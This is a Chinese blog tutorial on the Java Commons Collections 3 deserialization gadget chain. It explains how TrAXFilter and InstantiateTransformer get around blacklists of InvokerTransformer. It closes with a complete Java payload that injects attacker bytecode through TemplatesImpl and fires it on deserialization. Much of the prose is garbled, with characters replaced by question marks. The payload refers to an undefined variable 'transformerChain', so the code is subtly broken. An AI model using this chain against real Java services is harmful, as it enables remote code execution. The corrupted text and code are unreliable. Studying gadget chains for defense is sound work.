Java安全之CC3( 二 )

我们来分析一下为什么可以这样构造 。
【Java安全之CC3】首先在java安全之CC1浅学(1)中,我们了解到CC链其核心原理是InvokerTransformer#transform,可以执行任意方法 。
在Java安全之动态加载字节码中我们了解到TemplatesImpl加载字节码的调用链前边TemplatesImpl#newTransformer()
那么我们可以将InvokerTransformer参数由原来的exec()方法换成newTransformer()方法,这样就组成了一条新的链
由于我们这里依旧使用了TransformedMap所以版本依旧限制在8U71之前
成功执行字节码

Java安全之CC3

文章插图
ysoserial再来看ysoserial中的CC3,可以发现其中没有使?到InvokerTransformer原因是什么呢?
Java安全之CC3

文章插图
2015年初,@frohoff和@gebl发布了Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial , 安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:
SerialKiller是?个Java反序列化过滤器,可以通过?名单与?名单的?式来限制反序列化时允许通过的类 。在其发布的第?个版本代码中,我们可以看到其给出了最初的?名单

Java安全之CC3

文章插图
这个?名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利?链 。ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3
CommonsCollections3的?的很明显,就是为了绕过?些规则对InvokerTransformer的限制 。CommonsCollections3并没有使?到InvokerTransformer来调?任意?法,?是?到了另?个 类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类的构造?法中调?(TransformerImpl) templates.newTransformer(),免去了我们使?InvokerTransformer??调? newTransformer() ?法这?步
Java安全之CC3

文章插图
当然,缺少了InvokerTransformer , TrAXFilter的构造?法也是?法调?的 。这?会?到?个新的Transformer , 就是 org.apache.commons.collections.functors.InstantiateTransformerInstantiateTransformer也是?个实现了Transformer接?的类,他的作?就是调?构造?法.
目标很明确了 , 利?InstantiateTransformer来调?到TrAXFilter的构造?法,再利?其构造?法?的templates.newTransformer()调?到TemplatesImpl?的字节码
构造的Transformer调?链如下:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })};替换到前?的demo中,也能成功触发,避免了使?InvokerTransformer
Java安全之CC3

文章插图
接下来,就来构造一个完整的Payload:
public class CC3 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, chain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);setFieldValue(transformerChain, "iTransformers", transformers);// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(handler);oos.close();// 本地测试触发// System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}}

推荐阅读